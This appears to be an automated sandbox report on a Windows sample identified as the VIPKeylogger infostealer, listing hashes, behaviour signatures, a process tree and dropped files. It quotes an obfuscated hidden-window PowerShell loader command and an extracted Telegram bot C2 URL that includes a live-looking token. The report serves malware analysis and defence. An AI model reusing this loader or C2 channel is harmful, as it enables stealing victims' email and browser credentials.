Analysis

  • max time kernel
    144s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-12-2024 12:41

General

  • Target

    Printernummers.exe

  • Size

    770KB

  • MD5

    5e2ff1914fc1f8ebadf282f4096d6fc8

  • SHA1

    77d61bdf0ce63eed5324b56623b878fc3dc79890

  • SHA256

    f5f3c3a8c7f9f5fb9531fa0d57012ce0869b52b23d05e6c9b7a0220ac917db6d

  • SHA512

    e70121837b94ba002dc2093afcebed4ec1d3f90d46d1466fe66e4f0bd16a9426d58547946ef7f420c937017deb650c5705c7792f6047de68918f018b7ec4d916

  • SSDEEP

    12288:6DGZKmormA1FvvLR3x8rqDFXlo3KsAYzjDCwonXnWMIk2CyLuuOSFBPpJh/gpcXF:4mor/1t8uTooHNnXWMIdCkOqXPgKP9

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot8179583980:AAG4cdQWaAviOBBhSs3OrT1OX6_IUptNQv8/sendMessage?chat_id=6070006284

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Printernummers.exe
    "C:\Users\Admin\AppData\Local\Temp\Printernummers.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4816
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Vulcanological=gc -raw 'C:\Users\Admin\AppData\Local\magmaet\clenched\Storvildtjagten180.Agg';$Accusor=$Vulcanological.SubString(74166,3);.$Accusor($Vulcanological) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:3420

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s0bwhyt3.ecb.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nsy8196.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    1b0e41f60564cccccd71347d01a7c397

    SHA1

    b1bddd97765e9c249ba239e9c95ab32368098e02

    SHA256

    13ebc725f3f236e1914fe5288ad6413798ad99bef38bfe9c8c898181238e8a10

    SHA512

    b6d7925cdff358992b2682cf1485227204ce3868c981c47778dd6da32057a595caa933d8242c8d7090b0c54110d45fa8f935a1b4eec1e318d89cc0e44b115785

  • C:\Users\Admin\AppData\Local\magmaet\clenched\Fotografiapparat.Sku203

    Filesize

    333KB

    MD5

    f496251d8a237ce1bc9d65caca347b81

    SHA1

    4a3106946c1d839e84efa429b294f55c5e922a37

    SHA256

    36f5eb8fbf2f5dd107e9a674c7b6eabfd7f5425135a97380d7aa4268af7c0f57

    SHA512

    e0df4a347cfcf8a396d80402cdc64496bedfd39b9da6f5f90dddefe0a6da1143ed35fd9e06b63efa1834610e69e49387dcec86008c5224250aade1afd06ac08f

  • C:\Users\Admin\AppData\Local\magmaet\clenched\Storvildtjagten180.Agg

    Filesize

    72KB

    MD5

    c9297405df2a5c3c5deabc095edf89d1

    SHA1

    f2077fc5430342c2a5ceceb58dac4c7193adbbeb

    SHA256

    50db462fbdf3a57ccf31e74dc181f1cce93de20d0b5a43f3f576038482618f57

    SHA512

    06e8494ae2ac6a7d68c6b1d53fc6b83f5640fad1a5771bc84f573306465fb68ad2012960574779fe34137f5154c6fcf9f68ece128d313716d96882d44324c90d

  • C:\Windows\Resources\unthick.ini

    Filesize

    33B

    MD5

    e23f52386361095bdb7040b09e2216ae

    SHA1

    91f31dd82ab80140db621b6dce0b9b5d6b568723

    SHA256

    36467321184a76e0fea592d2896856a37ec18fc8480de66f05d719d93b39d070

    SHA512

    19d18de54b3466f0d283271786b3b308c3be07f21174c46563c4c16292716c52f2c1b85f416ed77143ea6847bfc4c4c37f22296948eac47499276b181f129b9c

  • memory/1728-147-0x0000000073B8E000-0x0000000073B8F000-memory.dmp

    Filesize

    4KB

  • memory/1728-148-0x0000000002540000-0x0000000002576000-memory.dmp

    Filesize

    216KB

  • memory/1728-150-0x00000000051A0000-0x00000000057C8000-memory.dmp

    Filesize

    6.2MB

  • memory/1728-149-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-152-0x0000000005030000-0x0000000005096000-memory.dmp

    Filesize

    408KB

  • memory/1728-153-0x00000000057D0000-0x0000000005836000-memory.dmp

    Filesize

    408KB

  • memory/1728-151-0x0000000004E90000-0x0000000004EB2000-memory.dmp

    Filesize

    136KB

  • memory/1728-163-0x0000000005840000-0x0000000005B94000-memory.dmp

    Filesize

    3.3MB

  • memory/1728-164-0x0000000005EF0000-0x0000000005F0E000-memory.dmp

    Filesize

    120KB

  • memory/1728-165-0x0000000005F20000-0x0000000005F6C000-memory.dmp

    Filesize

    304KB

  • memory/1728-166-0x0000000006EC0000-0x0000000006F56000-memory.dmp

    Filesize

    600KB

  • memory/1728-167-0x00000000063D0000-0x00000000063EA000-memory.dmp

    Filesize

    104KB

  • memory/1728-168-0x0000000006420000-0x0000000006442000-memory.dmp

    Filesize

    136KB

  • memory/1728-169-0x0000000007740000-0x0000000007CE4000-memory.dmp

    Filesize

    5.6MB

  • memory/1728-171-0x0000000008370000-0x00000000089EA000-memory.dmp

    Filesize

    6.5MB

  • memory/1728-172-0x00000000072E0000-0x0000000007312000-memory.dmp

    Filesize

    200KB

  • memory/1728-173-0x0000000070000000-0x000000007004C000-memory.dmp

    Filesize

    304KB

  • memory/1728-183-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-184-0x00000000072C0000-0x00000000072DE000-memory.dmp

    Filesize

    120KB

  • memory/1728-186-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-185-0x0000000007330000-0x00000000073D3000-memory.dmp

    Filesize

    652KB

  • memory/1728-187-0x0000000007450000-0x000000000745A000-memory.dmp

    Filesize

    40KB

  • memory/1728-188-0x00000000075B0000-0x00000000075C1000-memory.dmp

    Filesize

    68KB

  • memory/1728-189-0x0000000007600000-0x000000000760E000-memory.dmp

    Filesize

    56KB

  • memory/1728-190-0x0000000007610000-0x0000000007624000-memory.dmp

    Filesize

    80KB

  • memory/1728-191-0x0000000007650000-0x000000000766A000-memory.dmp

    Filesize

    104KB

  • memory/1728-192-0x0000000007640000-0x0000000007648000-memory.dmp

    Filesize

    32KB

  • memory/1728-193-0x0000000007660000-0x000000000768A000-memory.dmp

    Filesize

    168KB

  • memory/1728-194-0x0000000007690000-0x00000000076B4000-memory.dmp

    Filesize

    144KB

  • memory/1728-195-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-197-0x0000000073B8E000-0x0000000073B8F000-memory.dmp

    Filesize

    4KB

  • memory/1728-198-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-199-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-201-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-202-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-203-0x00000000089F0000-0x000000000E51C000-memory.dmp

    Filesize

    91.2MB

  • memory/1728-204-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-205-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-206-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-207-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-208-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/1728-210-0x0000000073B80000-0x0000000074330000-memory.dmp

    Filesize

    7.7MB

  • memory/3420-211-0x0000000000F30000-0x0000000002184000-memory.dmp

    Filesize

    18.3MB

  • memory/3420-225-0x0000000000F30000-0x0000000000F7A000-memory.dmp

    Filesize

    296KB

  • memory/3420-224-0x0000000000F30000-0x0000000002184000-memory.dmp

    Filesize

    18.3MB

  • memory/3420-226-0x0000000025A90000-0x0000000025B2C000-memory.dmp

    Filesize

    624KB

  • memory/3420-229-0x0000000026720000-0x00000000268E2000-memory.dmp

    Filesize

    1.8MB

  • memory/3420-230-0x0000000025EB0000-0x0000000025F00000-memory.dmp

    Filesize

    320KB

  • memory/3420-231-0x0000000026E20000-0x000000002734C000-memory.dmp

    Filesize

    5.2MB

  • memory/3420-234-0x00000000265F0000-0x0000000026682000-memory.dmp

    Filesize

    584KB

  • memory/3420-235-0x0000000023570000-0x000000002357A000-memory.dmp

    Filesize

    40KB